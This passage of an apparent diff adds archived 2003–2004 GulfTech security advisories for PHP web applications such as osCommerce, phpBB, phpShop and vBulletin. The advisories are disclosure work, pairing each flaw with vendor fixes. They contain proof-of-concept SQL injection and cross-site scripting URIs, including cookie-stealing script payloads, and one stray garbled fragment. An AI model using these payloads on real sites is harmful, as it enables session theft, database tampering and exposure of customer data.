Invision Power Board is vulnerable to an SQL Injection Vulnerability. All versions up to 2.0 Alpha 3 seem to be affected. Below is an example URL to test if you are vulnerable.
|
||||
|
||||
/index.php?showforum=1&prune_day=100&sort_by=Z-A&sort_key=[Problem_Is_Here]
|
||||
|
||||
If you are vulnerable (you should be) you will see an error message similar to the one posted below. The only requirement is to know a valid forum number and to have read access to that forum (must be able to view it).
|
||||
|
||||
mySQL query error: SELECT * from ibf_topics WHERE forum_id=2 and approved=1
|
||||
and (last_post > 0 OR pinned=1) ORDER BY pinned DESC, [Problem_Is_Here] DESC
|
||||
LIMIT 0,15
|
||||
|
||||
mySQL error: You have an error in your SQL syntax near '[Problem_Is_Here]
|
||||
DESC LIMIT 0,15' at line 1
|
||||
|
||||
mySQL error code:
|
||||
Date: Saturday 13th of December 2003 01:25:30 AM
|
||||
|
||||
Solution:
|
||||
Invision Power Services have released a fix for this issue.
|
||||
http://www.invisionboard.com/download/index.php?act=dl&s=1&id=12&p=1
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
36
exploits/php/webapps/43791.txt
Normal file
36
exploits/php/webapps/43791.txt
Normal file
|
@ -0,0 +1,36 @@
|
|||
Aardvark Topsites Multiple Vulnerabilities
|
||||
|
||||
Vendor: Aardvark Industries
|
||||
Product: Aardvark Topsites
|
||||
Version: <= 4.1.0
|
||||
Website: http://www.aardvarkind.com/
|
||||
|
||||
BID: 9231
|
||||
|
||||
Description:
|
||||
Aardvark Topsites is a popular free PHP topsites script. See URL for details.
|
||||
|
||||
Plaintext Database Pass Weakness:
|
||||
The login info for the database being used by Aardvark topsites can be viewed in plaintext by anyone who has access to the admin panel. If an attacker can gain access to the admin panel he can then take control of the database that the Aardvark Topsites is using.lid forum number and to have read
|
||||
|
||||
Information Disclosure Vulnerability:
|
||||
By default phpinfo() for the server hosting an Aardvark Topsite can be viewed in the sources directory [ /sources/info.php ] An easy work around for this is quite obvious. If you do not need this file delete it. And if you do need it, then move it to a more secure location :)
|
||||
|
||||
Path Disclosure Vulnerability:
|
||||
There are multiple ways to disclose the full server path on an Aardvark Topsites. Most can be avoided by allowing visitors to the /sources/ directory. However, it is also possible by passing a null or invalid value to the "type" variable when viewing the graph feature.
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
Tampering with SQL queries is possible via the "method" variable in display.php You can test if you are vulnerable by accessing the url below.
|
||||
|
||||
http://topsitelocation/index.php?method=`
|
||||
|
||||
Also, these are prone to tampering. While it would be hard to exploit, the following should have input validated/sanitized a little better.
|
||||
|
||||
http://topsitelocation/index.php?a=lostpw&set=1&id=`
|
||||
http://topsitelocation/index.php?a=lostpw&set=1&session_id=`
|
||||
|
||||
Solution:
|
||||
Aardvark Industries were very prompt and professional in addressing these issues. You can now download Aardvark Topsites 4.1.1 which has new features along with the obvious security fixes.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
17
exploits/php/webapps/43792.txt
Normal file
17
exploits/php/webapps/43792.txt
Normal file
|
@ -0,0 +1,17 @@
|
|||
AutoRank PHP SQL Injection
|
||||
|
||||
Vendor: JMB Software
|
||||
Product: AutoRank PHP
|
||||
Version: <= 2.0.4
|
||||
Website: http://www.jmbsoft.com/
|
||||
|
||||
BID: 9251
|
||||
|
||||
Description:
|
||||
The description as taken from the Autorank website "AutoRank PHP is our next generation toplist software, written completely in PHP and backed by a MySQL database. This software has all the features of the Pro version, and we have added several more which make this the most advanced toplist software available today. We have combined the power and speed of PHP and MySQL to make AutoRank PHP extremely efficient and scalable. A complete list of features is available if you would like to jump right to that. Otherwise, you can continue on and find out why AutoRank PHP is the premier PHP toplist software available today."
|
||||
|
||||
Problem:
|
||||
Autorank PHP is vulnerable to SQL Injection attacks. The vulnerabilities can be exploited by injecting SQL queries into the user & password fields when editing an account, the email field when requesting a lost password and the username field when registering an account. If a malicious attacker logs in with the username and password '-- he will automatically be given access to the first account cataloged in the database. He can then view the HTML source code to view that users password in plain text. This also leaves the database being used by Autorank PHP open for attack. The affected file is accounts.php
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
84
exploits/php/webapps/43794.txt
Normal file
84
exploits/php/webapps/43794.txt
Normal file
|
@ -0,0 +1,84 @@
|
|||
Source: http://gulftech.org/advisories/osCommerce%20Multiple%20Vulnerabilities/19
|
||||
osCommerce Multiple Vulnerabilities
|
||||
|
||||
Vendor: osCommerce
|
||||
Product: osCommerce
|
||||
Version: <= 2.2-MS2
|
||||
Website: http://www.oscommerce.com
|
||||
|
||||
BID: 9275 9277
|
||||
|
||||
Description:
|
||||
osCommerce is an online shop e-commerce solution under on going development by the open source community. Its feature packed out-of-the-box installation allows store owners to setup, run, and maintain their online stores with minimum effort and with absolutely no costs or license fees involved. It is used by millions of people all around the world, and has been implemented into other web apps such as oscMall and OSC-Nuke.
|
||||
|
||||
SQL Injection && Denial Of Service Vulnerability:
|
||||
osCommerce 2.2 MS1 is vulnerable to SQL Injection vulnerability that can allow an attacker to (or have an unsuspecting user) influence SQL Queries and/or deny a legitimate user service. By sending a user a malformed URI an attacker can effectively deny a user legitimate access to their account. Below is an example URI and an explanation of the URI parameters.
|
||||
|
||||
/default.php?cPath=[MID]&sort=5a&page=1&action=buy_now&products_id=[PID][JNK]
|
||||
|
||||
[MID] = A Valid Manufacturer ID Number
|
||||
[PID] = A Valid Product ID Number
|
||||
[JNK] = SQL query or junk. %22 %5C %27 or %00 Will cause a DoS
|
||||
|
||||
The Denial of service will cause an unremovable item to be placed in the users shopping cart. The next time that user logs out and logs back in they will be greeted with the following SQL error message. If a user is not logged in they will have an unremovable item until their session is terminated. If a user is not logged in, is sent the malicious URI, and then logs in they will have an unremovable item in their cart until the database is manually altered by an admin. If it is a 2.2 MS1 installation the query will execute.
|
||||
1064 - You have an error in your SQL syntax. Check the manual that corresponds
|
||||
to your MySQL server version for the right syntax to use near '[Problem_Here]'
|
||||
and pd.products_id = p.products_id and pd.langu
|
||||
|
||||
select p.products_id, pd.products_name, p.products_model, p.products_price,
|
||||
p.products_weight, p.products_tax_class_id from products p, products_description
|
||||
pd where p.products_id='79'[Problem_Here]' and pd.products_id = p.products_id
|
||||
and pd.language_id = '1'
|
||||
I have found NO WAY to have a normally functioning account after this attack is executed. Even if you are able to return to your shopping cart page you still cannot purchase items or view your shopping cart. Furthermore, an attacker can obviously use this flaw to possibly compromise the database, or even worse, have some unsuspecting customer run SQL queries for them. While this attack does not cause the SQL queries to be executed in osCommerce 2.2 MS2, it does allow for an attacker to execute a Denial Of Service attack on a user by placing an unremovable item in their shopping cart. Any webmasters experiencing this kind of attack can delete the malicious values from the "customers_basket" table, but be aware that will not stop any arbitrary SQL queries from being executed. Queries are not executed in osCommerce 2.2 MS2 because the addslashes() function is being used. However, someone out there may be able to figure something out ;)
|
||||
|
||||
Cross Site Scripting:
|
||||
Cross site scripting is present in osCommerce 2.2 MS1 An attacker can exploit this flaw by passing an invalid request to the Manufacturers ID parameter. An example of this can be seen below
|
||||
|
||||
/default.php?manufacturers_id="><iframe src=http://www.gulftech.org>
|
||||
|
||||
Solution:
|
||||
Vendor was contacted an plans on releasing a fix this week. Please see their website at http://www.oscommerce.com for any details about the fix.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Source: http://gulftech.org/advisories/osCommerce%20Cross%20Site%20Scripting/15
|
||||
|
||||
osCommerce Cross Site Scripting
|
||||
|
||||
Vendor: osCommerce
|
||||
Product: osCommerce
|
||||
Version: <= 2.2-MS2
|
||||
Website: http://www.oscommerce.com/
|
||||
|
||||
BID: 9238
|
||||
|
||||
Description:
|
||||
osCommerce is an online shop e-commerce solution under on going development by the open source community. Its feature packed out-of-the-box installation allows store owners to setup, run, and maintain their online stores with minimum effort and with absolutely no costs or license fees involved.
|
||||
|
||||
Problem:
|
||||
osCommerce is vulnerable to a XSS flaw. The flaw can be exploited when a malicious user passes a malformed session ID to URI. Below is an example of the flaw.
|
||||
|
||||
https://path/?osCsid="><iframe src=http://www.gulftech.org></iframe>
|
||||
|
||||
This condition seems to affect only secure https connections, but was confirmed by the developers to affect regular http connections in the current CVS version of osCommerce.
|
||||
|
||||
Solution:
|
||||
This is the response from the developer.
|
||||
|
||||
To fix the issue, the $_sid parameter needs to be wrapped around tep_output_string() in the tep_href_link() function defined in includes/functions/html_output.php.
|
||||
|
||||
Before:
|
||||
if (isset($_sid)) { $link .= $separator . $_sid; }
|
||||
|
||||
After:
|
||||
if (isset($_sid)) { $link .= $separator . tep_output_string($_sid); }
|
||||
|
||||
osCommerce 2.2 Milestone 3 will redirect the user to the index page when a malformed session ID is used, so that a new session ID can be generated.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
32
exploits/php/webapps/43795.txt
Normal file
32
exploits/php/webapps/43795.txt
Normal file
|
@ -0,0 +1,32 @@
|
|||
PostNuke Multiple Vulnerabilities
|
||||
|
||||
Vendor: PostNuke
|
||||
Product: PostNuke
|
||||
Version: <= 0.726 Phoenix
|
||||
Website: http://www.postnuke.com
|
||||
|
||||
BID: 7047
|
||||
|
||||
Description:
|
||||
PostNuke is a popular Open Source CMS (Content Management System) used by millions of people all across the world.
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
SQL Injection is possible by passing unexpected data to the "sortby" variable in the "members_list" module. This vulnerability may allow an attacker to manipulate queries as well as view the full physical path of the PostNuke installation. This is due to user input of the "sortby" variable not being properly sanitized.
|
||||
|
||||
modules.php?op=modload&name=Members_List&file=index&letter=All&sortby=[Evil_Query]
|
||||
|
||||
Cross Site Scripting:
|
||||
XSS is possible via the download module by injecting HTML or Script into the "ttitle" variable when viewing the details of an item for download. Example:
|
||||
|
||||
name=Downloads&file=index&req=viewdownloaddetails&lid=[VLID]&ttitle=">[CODE]
|
||||
|
||||
[VLID] = Should be the valid id number of a file for download.
|
||||
[CODE] = Any script or HTML etc.
|
||||
|
||||
Solution:
|
||||
An update has been released regarding the SQL Injection vulnerability. The XSS vuln however will not be fixed until future releases of PostNuke as it is really not possible to Hijack a users PostNuke session using a stolen session ID, thus limiting the chances of this being harmful to any users or administrators. Much respect to the PostNuke Dev team and especially Andreas Krapohl aka larsneo for being very prompt and professional about issuing a fix for this immediately. The fixed may be obtained from the official PostNuke website at http://www.postnuke.com
|
||||
|
||||
http://lists.postnuke.com/pipermail/postnuke-security/2004q1/000001.html
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
96
exploits/php/webapps/43797.txt
Normal file
96
exploits/php/webapps/43797.txt
Normal file
|
@ -0,0 +1,96 @@
|
|||
phpGedView Multiple Vulnerabilities
|
||||
|
||||
Vendor: phpGedView
|
||||
Product: phpGedView
|
||||
Version: <= 2.65 beta 5
|
||||
Website: http://phpgedview.sourceforge.net
|
||||
|
||||
|
||||
Description:
|
||||
The phpGedView project parses GEDCOM 5.5 genealogy files and displays them on the Internet in a format similar to PAF. All it requires to run is a php enabled web server and a gedcom file. It is easily customizable for use on many different web sites. It is one of the top 10 most popular projects at SourceForge.
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
phpGedView has a few files which are vulnerable to SQL injection. The vulnerable files are "timeline.php" and "placelist.php" The vulnerabilities are a result of input not being properly validated. The data given to these scripts are then executed by the "functions_mysql.php" file. As we can see below the $parent_id variable as well as the $level variable is passed directly into the query without being sanitized by the script at all in the "get_place_list()" function.
|
||||
|
||||
//-- find all of the places
|
||||
function get_place_list() {
|
||||
global $numfound, $j, $level, $parent, $found;
|
||||
global $GEDCOM, $TBLPREFIX, $placelist, $positions;
|
||||
|
||||
// --- find all of the place in the file
|
||||
if ($level==0) $sql = "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=0
|
||||
AND p_file='$GEDCOM' ORDER BY p_place";
|
||||
else {
|
||||
$psql = "SELECT p_id FROM ".$TBLPREFIX."places WHERE p_level=".($level-1)
|
||||
." AND p_place LIKE '".$parent[$level-1]."' AND p_file='$GEDCOM' ORDER BY
|
||||
p_place";
|
||||
$res = dbquery($psql);
|
||||
$row = mysql_fetch_row($res);
|
||||
$parent_id = $row[0];
|
||||
$sql = "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=$level AND
|
||||
p_parent_id=$parent_id AND p_file='$GEDCOM' ORDER BY p_place";
|
||||
}
|
||||
$res = dbquery($sql);
|
||||
while ($row = mysql_fetch_row($res)) {
|
||||
$placelist[] = stripslashes($row[0]);
|
||||
$numfound++;
|
||||
}
|
||||
}
|
||||
|
||||
Below are some URI's which can be used to exploit the issue explained in the paragraph above. Also included is a URI that triggers a somewhat similar SQL vulnerability in the "timeline.php" script.
|
||||
|
||||
/placelist.php?level=1[Evil_Query]
|
||||
/placelist.php?level=1&parent[0]=[Evil_Query]
|
||||
/placelist.php?level=2&parent[0]=&parent[1]=[Evil_Query]
|
||||
/timeline.php?pids=[Evil_Query]
|
||||
|
||||
Path Disclosure Vulnerability:
|
||||
There are a decent number of ways an attacker could disclose the full path of the web server, thus aiding in the information gathering process preceding an attack. Below are a list of the vulnerable scripts and proof of concept URI's to reproduce the condition.
|
||||
|
||||
/indilist.php?alpha=\&surname_sublist=\
|
||||
/famlist.php?alpha=(&surname_sublist=yes&surname=\
|
||||
/placelist.php?level=1&parent[Blah]=
|
||||
/imageview.php?zoomval=blah
|
||||
/imageview.php?filename=/
|
||||
/timeline.php?pids[Blah]=
|
||||
/clippings.php?action=add&id=Blah
|
||||
/login.php?action=login
|
||||
/login.php?&changelanguage=yes&NEWLANGUAGE=Blah
|
||||
/gdbi.php?action=connect&username=Blah
|
||||
|
||||
Cross Site Scripting:
|
||||
I have found over a dozen instances of Cross Site Scripting in phpGedView, but there is probably more. The impact of these vulnerabilities are self explanatory; they allow code execution in the context of the browser of someone viewing the malicious URI. Below are examples of the numerous XSS vulns.
|
||||
|
||||
/descendancy.php?pid=<iframe>
|
||||
/index.php?rootid="><iframe>
|
||||
/individual.php?pid="><iframe>
|
||||
/login.php?url=/index.php?GEDCOM="><iframe>
|
||||
/relationship.php?path_to_find="><iframe>
|
||||
/relationship.php?path_to_find=0&pid1="><iframe>
|
||||
/relationship.php?path_to_find=0&pid1=&pid2="><iframe>
|
||||
/source.php?sid=<iframe>
|
||||
/imageview.php?filename=<iframe>
|
||||
/calendar.php?action=today&day=1&month=jan&year="><iframe>
|
||||
/calendar.php?action=today&day=1&month=<iframe>
|
||||
/calendar.php?action=today&day=<iframe>
|
||||
/gedrecord.php?pid=<iframe>
|
||||
/login.php?action=login&username="><iframe>
|
||||
/login.php?&changelanguage=yes&NEWLANGUAGE=<iframe>
|
||||
/gdbi_interface.php?action=delete&pid=<iframe>
|
||||
|
||||
Denial Of Service:
|
||||
It is also possible for an attacker to launch a DoS of sorts against a user who visits a certain URI. The vulnerability is in the language variable not being properly validated. If an attacker sends the following URI to a victim, they will not be able to access the phpGedView web site until they either clear their cookies, or manually reset the language settings by typing in a valid URI to reset the language back to something acceptable. The phpGedView website will not be able to be viewed by the victim until then.
|
||||
|
||||
/index.php?&changelanguage=yes&NEWLANGUAGE=[Junk_Here]
|
||||
|
||||
Or even one hundred million times more annoying is this :P
|
||||
/index.php?&changelanguage=yes&NEWLANGUAGE=<script>var i=1; while(i){alert(i);};</script>
|
||||
|
||||
As I mentioned before though, it is possible to regain a normal session by manually typing in a value in the language variable that is acceptable to phpGedView.
|
||||
|
||||
Solution:
|
||||
These vulnerabilities have been addressed in the latest beta release. Users may obtain the latest beta version at
|
||||
http://sourceforge.net/project/showfiles.php?group_id=55456
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
67
exploits/php/webapps/43798.txt
Normal file
67
exploits/php/webapps/43798.txt
Normal file
|
@ -0,0 +1,67 @@
|
|||
Multiple Vulnerabilities
|
||||
|
||||
Vendor: phpShop Project
|
||||
Product:
|
||||
Version: phpShop 0.6.1-b And Earlier
|
||||
Website: http://www.phpshop.org/
|
||||
|
||||
BID: 9437
|
||||
|
||||
Description:
|
||||
phpShop is a PHP-based e-commerce application and PHP development framework. phpShop offers the basic features needed to run a successful e-commerce web site and to extend its capabilities for multiple purposes. phpShop uses a nice development framework that allows web developers to easily extend its functionality through the use of modules. Its web-box architecture makes it easy to understand and work with, while providing powerful function management capabilities for your web application needs. It is one of the most popular php SQL driven e-commerce solutions available today.
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
phpShop is prone to SQL injection when updating a session. The issues can be exploited via injection of SQL Commands issued to the "page" variable. The same issue is also present when adding an item to the shopping cart via the "product_id" variable. While not as serious, the offset variable is also prone to SQL Injection. The offset injection is not likely to be exploited. Below are examples of the vulnerabilities mentioned above.
|
||||
|
||||
/?page=[Evil_Query]
|
||||
/?page=shop/cart&func=cartAdd&product_id=[Evil_Query]
|
||||
/?page=shop/browse&category_id=&offset=[Evil_Query]
|
||||
|
||||
It should also be noted that even if an attacker cannot successfully execute a malicious query, they can inject code thus allowing for Cross Site Scripting.
|
||||
|
||||
User Information Disclosure Vulnerability:
|
||||
It is possible for a user to gain a great deal of information about any customer by querying the "account/shipto" module. All that is required is to be logged in under a valid account. One can then also view the administrators information. As we can see from the below code, there is no check to see if the person querying the information belongs to the account he/she queries.
|
||||
|
||||
<?php
|
||||
if ($user_info_id) {
|
||||
$q = "SELECT * from user_info WHERE user_info_id='$user_info_id'";
|
||||
$db->query($q);
|
||||
$db->next_record();
|
||||
}
|
||||
?>
|
||||
|
||||
Example: /?page=account/shipto&user_info_id=[Valid User ID]
|
||||
|
||||
The User ID's usually start around number 18 - 20 So it is easy to guess.An attacker can then view the info of any customer. The information includes; Address Nickname, Company Name, Last Name, First Name, Middle Name, Address, City, State, Zip Code, Country, Telephone, Fax Number. This is obviously not good and can be useful in aiding an attacker in other attacks, such as social engineering, and password enumeration. Not to mention it greatly violates the privacy of the customer.
|
||||
|
||||
Script Injection Vulnerability:
|
||||
An attacker can input malicious script or HTML into his shipping information. This will then be executed by an administrator or shop owner when viewing the attackers order. It may be used by an attacker to have an administrator carry out commands or execute administrative functions unknowingly.
|
||||
|
||||
Cross Site Scripting:
|
||||
Cross Site Scripting in phpShop is just insane. It takes place on almost any and every page. This is not an exaggeration either unfortunately. This takes place because a large number, if not majority of the variables a user passes to the script via the GET method are printed directly to screen using php echo with NO type of sanitizing at all. Furthermore, any page you try and visit that you do not have access to will allow XSS because ANY variable you pass to the get method will be stored in the login form as a hidden field.
|
||||
|
||||
/?page=admin/index&GulfTech="><script>alert(document.cookie)</script>
|
||||
|
||||
Will allow for Cross Site Scripting, strangely enough. Like I said before, XSS is possible on just about every page of phpShop, so I am not going to spend hours making a list of hundreds of instances of the XSS vulns, but a handful of examples are provided below.
|
||||
|
||||
/?page=shop/browse&category_id="><script>alert(document.cookie)</script>
|
||||
/?func="><script>alert(document.cookie)</script>
|
||||
/?login="><script>alert(document.cookie)</script>
|
||||
/?page=account/shipto&user_info_id="><script>alert(document.cookie)</script>
|
||||
/?page=shopper/index&module_description="><script>alert(document.cookie)</script>
|
||||
/?page=shopper/menu&menu_label="><script>alert(document.cookie)</script>
|
||||
/?page=shopper/menu&shopper_list_mn="><script>alert(document.cookie)</script>
|
||||
/?page=shopper/menu&modulename="><script>alert(document.cookie)</script>
|
||||
/?page=shopper/menu&shopper_group_list_mnu="><script>alert(document.cookie)</script>
|
||||
/?page=shopper/menu&shopper_group_form_mnu="><script>alert(document.cookie)</script>
|
||||
/?page=vendor/index&module_description="><script>alert(document.cookie)</script>
|
||||
/?page=vendor/index&menu_label="><script>alert(document.cookie)</script>
|
||||
/?page=vendor/index&sess="><script>alert(document.cookie)</script>
|
||||
/?page=vendor/index&leftbar_title_bgcolor="><script>alert(document.cookie)</script>
|
||||
|
||||
Solution:
|
||||
The phpShop community has released a patch that supposedly resolves these issues. Users are encouraged to apply the patch as soon as possible.
|
||||
http://forums.edikon.com/index.php?act=ST&f=2&t=4634
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
46
exploits/php/webapps/43800.txt
Normal file
46
exploits/php/webapps/43800.txt
Normal file
|
@ -0,0 +1,46 @@
|
|||
IP.Board SQL Injection
|
||||
|
||||
Vendor: Invision Power Services
|
||||
Product: IP.Board
|
||||
Version: <= 1.3
|
||||
Website: http://www.invisionboard.com/
|
||||
|
||||
BID: 9810
|
||||
|
||||
Description:
|
||||
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world.
|
||||
|
||||
Problem:
|
||||
There are three problems I am going to talk about here. neither I believe to be critical. The first causes an SQL error by tampering with the offset in the "sources/Memberlist.php" feature. Below is an example of a "vulnerable" query.
|
||||
|
||||
index.php?&act=Members&max_results=10&filter=ALL&sort_order=asc&sort_key=name&st=[ Junk ]
|
||||
|
||||
The same issue is also present in the "sources/Online.php" file
|
||||
index.php?&act=Online&CODE=listall&sort_key=click&sort_order=desc&show_mem=all&st=[ Junk ]
|
||||
|
||||
The other problem is that it is easy for an attacker to learn the full physical path of the webserver. This can be accomplished via the "Change Personal Photo" option in the user control panel. By entering an invalid character such as a null character "%20" in the upload box and submitting the form you will be greeted by the following error message:
|
||||
|
||||
Warning: getimagesize() [function.getimagesize]:
|
||||
Read error! in /full/path/sources/lib/usercp_functions.php on line 192
|
||||
|
||||
Solution:
|
||||
These are not critical issues, so they will probably not be addressed until the next public release on Invision Power Board.
|
||||
Hello,
|
||||
|
||||
Thanks for the email.
|
||||
|
||||
All outstanding non-critical reports will be dealt with in the next
|
||||
release. The discussion on the forum password plaintext vulnberability
|
||||
is a little moot as it's documented as a 'quick fix' forum permission
|
||||
and shouldn't be used in place of forum permissions. In any case, this
|
||||
may well be resolved by using an MD5 hash in the cookie.
|
||||
|
||||
Regards
|
||||
|
||||
Matthew Mecham
|
||||
Invision Power Board Lead Developer
|
||||
Invision Power Services, Inc. CEO
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
83
exploits/php/webapps/43801.txt
Normal file
83
exploits/php/webapps/43801.txt
Normal file
|
@ -0,0 +1,83 @@
|
|||
phpBB Cross Site Scripting
|
||||
|
||||
Vendor: phpBB Group
|
||||
Product: phpBB
|
||||
Version: <= 2.0.6d
|
||||
Website: http://www.phpbb.com/
|
||||
|
||||
BID: 9865 9866
|
||||
|
||||
Description:
|
||||
phpBB is a high powered, fully scalable, and highly customisable open-source bulletin board package. phpBB has a user-friendly interface, simple and straightforward administration panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community solution for all web sites.
|
||||
|
||||
Problem:
|
||||
phpBB is a great forum system used by many millions of people. It is one of the more secure of the forum systems, but has a few issues still present; both of which allow for XSS (Cross Site Scripting). This problem presents itself in two different places. One of these places is viewtopic.php and the other is viewforum.php Below are examples along with a brief explanation on how to replicate this issue.
|
||||
|
||||
viewforum.php?f=[FNUM]&topicdays=[DNUM][XSS]
|
||||
|
||||
FNUM is a valid forum number. DNUM is the number of days to check. If you get no results with 1 for example try 99 and so forth and so on. XSS is whatever code is injected.
|
||||
|
||||
viewtopic.php?t=[TNUM]&postdays=[DNUM][XSS]
|
||||
|
||||
This is nearly the same issue as above, it just happens to be present in multiple files. The only difference is TNUM is a valid topic id number. Remember, the query must display results in order for the XSS to take place. Additionally the offset (start) variable may be used to get results, but in most cases is unnecessary.
|
||||
|
||||
Solution:
|
||||
I have released a fix for this vulnerability. It requires a valid integer for the affected variables, and thus eliminates this vulnerability from taking place. You can find the fix by following the link below. I have also included a fix for PNphpBB.
|
||||
|
||||
http://www.gulftech.org/vuln/phpBB2.0.6dfix.rar
|
||||
http://www.gulftech.org/vuln/pnphpbb1.2.1fix.rar
|
||||
|
||||
Alternatively you can do it yourself by following the instructions listed below.
|
||||
|
||||
-----[ OPEN ]-----------------------------------
|
||||
|
||||
viewforum.php
|
||||
|
||||
-----[ FIND ]-----------------------------------
|
||||
|
||||
if ( !empty($HTTP_POST_VARS['topicdays']) || !empty($HTTP_GET_VARS['topicdays']) )
|
||||
{
|
||||
$topic_days = ( !empty($HTTP_POST_VARS['topicdays']) ) ?
|
||||
$HTTP_POST_VARS['topicdays'] : $HTTP_GET_VARS['topicdays'];
|
||||
$min_topic_time = time() - ($topic_days * 86400);
|
||||
|
||||
-----[ REPLACE WITH ]---------------------------
|
||||
|
||||
if ( !empty($HTTP_POST_VARS['topicdays']) || !empty($HTTP_GET_VARS['topicdays']) )
|
||||
{
|
||||
$topic_days = ( !empty($HTTP_POST_VARS['topicdays']) ) ?
|
||||
intval($HTTP_POST_VARS['topicdays']) : intval($HTTP_GET_VARS['topicdays']);
|
||||
$min_topic_time = time() - ($topic_days * 86400);
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-----[ OPEN ]-----------------------------------
|
||||
|
||||
viewtopic.php
|
||||
|
||||
-----[ FIND ]-----------------------------------
|
||||
|
||||
if( !empty($HTTP_POST_VARS['postdays']) || !empty($HTTP_GET_VARS['postdays']) )
|
||||
{
|
||||
$post_days = ( !empty($HTTP_POST_VARS['postdays']) ) ?
|
||||
$HTTP_POST_VARS['postdays'] : $HTTP_GET_VARS['postdays'];
|
||||
$min_post_time = time() - (intval($post_days) * 86400);
|
||||
|
||||
-----[ REPLACE WITH ]---------------------------
|
||||
|
||||
if( !empty($HTTP_POST_VARS['postdays']) || !empty($HTTP_GET_VARS['postdays']) )
|
||||
{
|
||||
$post_days = ( !empty($HTTP_POST_VARS['postdays']) ) ?
|
||||
intval($HTTP_POST_VARS['postdays']) : intval($HTTP_GET_VARS['postdays']);
|
||||
$min_post_time = time() - (intval($post_days) * 86400);
|
||||
|
||||
|
||||
phpBB development team will be releasing an official fix soon. Please check thier website, or the sourceforge projects page of phpBB for any updates. The sourceforge projects page for phpBB can be located @ http://sourceforge.net/projects/phpbb The fix supplied here should suffice though. If you feel this is incorrect please contact me with details of any problems you experience. And a big thanks to Meik Sievertsen and the rest of the phpBB team for addressing these issues in a very prompt and professional manner.
|
||||
|
||||
Update:
|
||||
The phpBB team has released the phpBB 2.0.7 version which addresses a number of vulns including the vulnerabilities listed here. They have also released an official fix for the viewtopic.php and viewforum.php issues, but it is no different than the one we released. So get it there, or get it here. Just be sure to get it. The link to the phpBB announcment is located @ http://www.phpbb.com/phpBB/viewtopic.php?t=180610
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
24
exploits/php/webapps/43802.txt
Normal file
24
exploits/php/webapps/43802.txt
Normal file
|
@ -0,0 +1,24 @@
|
|||
Phorum Cross Site Scripting
|
||||
|
||||
Vendor: Phorum
|
||||
Product: Phorum
|
||||
Version: <= 5.0.3 Beta
|
||||
Website: http://www.phorum.org/
|
||||
|
||||
BID: 9882
|
||||
|
||||
Description:
|
||||
Phorum is a web based message board written in PHP. Phorum is designed with high-availability and visitor ease of use in mind. Features such as mailing list integration, easy customization and simple installation make Phorum a powerful add-in to any website.
|
||||
|
||||
Problem:
|
||||
Phorum have pached a good number of XSS (Cross Site Scripting) issues in the past, but there is still some work to be done regarding these issues before the final release of Phorum Version 5. The first issue I am going to talk about lies in "login.php" If you look at the HTML source code you should see two hidden variables. One called "f" which specifies the forum id, and one called "target" which specifies the location to take the user after they login. Unfortunately both of these values are taken directly from the value of HTTP_REFERER without any validation. While there is a global script in forum that checks for the <script> tag, it will allow for pretty much any thing else, and most of you know it is not hard to execute javascript inside of a tag which is allowed. This same vulnerability also exists in "register.php" And while not the exact same, a similar problem to these two exists in "profile.php" also. Below are some examples.
|
||||
|
||||
login.php?HTTP_REFERER=[XSS]
|
||||
register.php?&HTTP_REFERER=[XSS]
|
||||
profile.php?id=2&action=edit&target=[XSS]
|
||||
|
||||
Solution:
|
||||
The vendor was contacted and immeadiately responded, and will be releasing a fix soon. Thanks to Brian Moon and the rest of the forum dev team for such a quick response. It is appreciated.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
27
exploits/php/webapps/43803.txt
Normal file
27
exploits/php/webapps/43803.txt
Normal file
|
@ -0,0 +1,27 @@
|
|||
vBulletin Cross Site Scripting
|
||||
|
||||
Vendor: Jelsoft Enterprises
|
||||
Product: vBulletin
|
||||
Version: <= 3.0.0 RC4
|
||||
Website: http://www.vbulletin.com/
|
||||
|
||||
BID: 9887 9888 9889 9940 9943
|
||||
|
||||
Description:
|
||||
vBulletin is a powerful, scalable and fully customisable forums package for your web site. Based on the PHP language, backed with a blisteringly fast MySQL back-end database, vBulletin is the ideal community solution for all medium-to-large sites.
|
||||
|
||||
Problem:
|
||||
JelSoft vBulletin is prone to attack in six different files (maybe more) The files affected are "showthread.php", "forumdisplay.php", "private.php" and also the "memberlist.php" file. The "memberlist.php" and "private.php" files does not seem to be prone to the same attack I am about to talk about in versions three and later. The type of XSS that takes place though on vBulletin is what I would call a higher risk XSS issue. What I mean by that is alot of times slashes will be added to certain characters, or certain strings/characters disallowed, but in vBulletin you can eneter pretty much anything and have it execute sucessfully. This makes it a whole lot easier for an attacker to use these vulnerabilities to disclose a users information. Below are examples of the issues I have talked about here. Remember, the "memberlist.php" and "private.php" issues only seems to affect versions prior to 3.0, but the others affect all versions.
|
||||
|
||||
showthread.php?t=[VID]&page=[INT][XSS]
|
||||
forumdisplay.php?f=[VID]&page=[INT]&sort=lastpost&order=[XSS]
|
||||
